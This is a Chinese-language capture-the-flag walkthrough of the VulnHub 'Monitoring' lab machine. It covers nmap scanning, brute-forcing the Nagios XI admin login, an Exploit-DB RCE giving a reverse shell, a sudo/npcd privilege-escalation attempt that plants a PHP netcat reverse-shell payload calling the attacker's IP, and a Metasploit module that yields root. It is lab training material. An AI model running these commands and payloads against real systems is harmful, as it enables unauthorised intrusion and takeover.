靶机地址：https://download.vulnhub.com/monitoring/Monitoring.ova

---

1. 主机发现

目前只知道目标靶机在192.xx网段，通过如下的命令，看看这个网段上在线的主机。

$ nmap -sP 192.168.192.0/24

锁定靶机IP地址为192.168.192.132.

2. 端口扫描

针对目标靶机进行端口扫描。

$ sudo nmap -p- 192.168.192.132

3. 服务枚举

通过下面的命令扫描一下目标靶机开放端口上运行的服务。

$ sudo nmap -A -p22,25,80,389,443,5667 -sV -sT 192.168.192.132

4. 服务探查

服务不多，逐个试试看。

4.1 ssh服务

先试试22端口上的ssh服务。

$ ssh root@192.168.192.132

试了一下，可以访问，这为后面的爆破提供了可能。

4.2 smtp服务

试试25端口上的smtp服务。

$ telnet 192.168.192.132 25

这个端口可以用，不过还不太会，上网搜索一番。

$ nc 192.168.192.132 25

返回250说明响应成功，使用EHLO可以查看支持的各种扩展列表。

EHLO 192.168.192.132

再进一步试一下。

嗯，看来是可以用的，并且存在一个root@localhost的邮箱，根据后面探查的结果再回来看。

4.3 http/https服务

直接用浏览器访问一下。

可以访问，不过不知道Nagios是个啥玩意儿，搜索了一下，貌似是一个在线监控的工具。仔细浏览一下看看，发现有登录页面，如下图。

随便输入登录一下试试。

貌似没法枚举账号，尝试忘记密码试试看。

额，貌似跟邮件系统有了关联。可惜一顿折腾也没有搞定邮件系统。还是返回来进行目录枚举一下。

$ dirsearch -u http://192.168.192.132:80/

没发现有用的内容，还是尝试爆破一下root账号试试看，结果也失败了。还是上网看看有什么有用的信息吧。再官网上找到了一个安装指南（https://assets.nagios.com/downloads/nagiosxi/docs/installation-manual-of-Nagios-XI-2024.pdf），这里面默认用了一个nagiosadmin的管理员账号，如下图。

尝试用rockyou爆破一下这个账号试试。

最后爆破出来的nagiosadmin用户的密码是admin，手工登录看看。

登录成功，版本为Nagios XI 5.6.0。直接searchsploit搜索一下这个版本上有啥可以利用的漏洞。

$ searchsploit “Nagios XI”

貌似可以利用的EXP还不少，我们倒着看编号为49422的RCE漏洞。
首先再kali上4444端口建立监听。

$ nc -lvnp 4444

然后按照脚本提示，直接执行EXP。

$ python3 49422.py http://192.168.192.132 nagiosadmin admin 192.168.192.129 4444

顺利突破了边界，获得了反弹shell，如下图所示。

5. 系统提权

先优化一下shell。

www-data@ubuntu:/usr/local/nagiosxi/html/admin$ whereis python
www-data@ubuntu:/usr/local/nagiosxi/html/admin$ /usr/bin/python3.5 -c "import  pty; pty.spawn('/bin/bash')"

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

是64位的ubuntu 16.04。

5.2 枚举passwd文件

$ cat /etc/passwd | grep -v nologin

正常的shell用户也不多。

5.3 枚举定时任务

枚举一下定时任务试试看。

没有合适的。

5.4 linpeas提权

直接使用linpeas提取。

$ chmod u+x linpeas.sh
$ sh linpeas.sh

下图所示的三个EXP是非常有可能的。

我们逐个试一下。

$ searchsploit -m 45010

然后在ubuntu 16.04上面编译一下。

$ gcc 45010.c -o 45010

然后上传到靶机的/tmp目录下执行一下试试看。

$ chmod u+x 45010
$ ./45010

提权失败，再试试第二个。

第二个直接卡住了，再试试第三个。

第三个也是没啥动静，宣告失败。
接着往下看，在sudo -l下面，有比较多有意思的内容，如下图所示。

看不太懂，不太会用，上网搜索下，发现有篇文章对（https://www.tenable.com/security/research/tra-2020-61）这个有一些总结性说明。现在尝试一下。

$ sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1 --output=/usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
$ echo -e "user = nagios\ngroup = nagios\nlog_type = file\nlog_file = /usr/local/nagios/var/npcd.log\nmax_logfile_size = 10485760\nlog_level = 0\nperfdata_spool_dir = /usr/local/nagiosxi/scripts/components/\nperfdata_file_run_cmd = /usr/bin/curl\nperfdata_file_run_cmd_args = file:///usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php -o /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php\nnpcd_max_threads = 5\nsleep_time = 15\nload_threshold = 10.0\npid_file=/usr/local/nagiosxi/var/subsys/npcd.pid\n\n# scrappy" > /usr/local/nagios/etc/pnp/npcd.cfg
$ echo -e "\x3c\x3fphp system('/bin/bash -i 2>&1 | nc 192.168.192.129 5555'); \x3f\x3e" > /usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
$ sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php test

可惜的是，监听一直反弹成功。从好多的现象来看，nagios用户的权限貌似比www-data要高，想办法切换到nagios用户试试看，直接用hydra爆破一下。

$ hydra -l nagios -P ../../rockyou.txt -vV -e ns 192.168.192.132 ssh

半天也没有结果，看来得想其它办法了。利用神器metasploit试试看。

$ msfconsole
msf6 > search nagios

看不太懂，不管了把Rank为Excellent并且Check为Yes的都试一下。
最后发现行号为19的EXP可以成功，如下所示。

msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD admin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOSTS 192.168.192.132
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 192.168.192.129
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

直接进来就是root权限，这个EXP比较牛逼。

6. 获取flag

成功获得flag，本次打靶到此结束。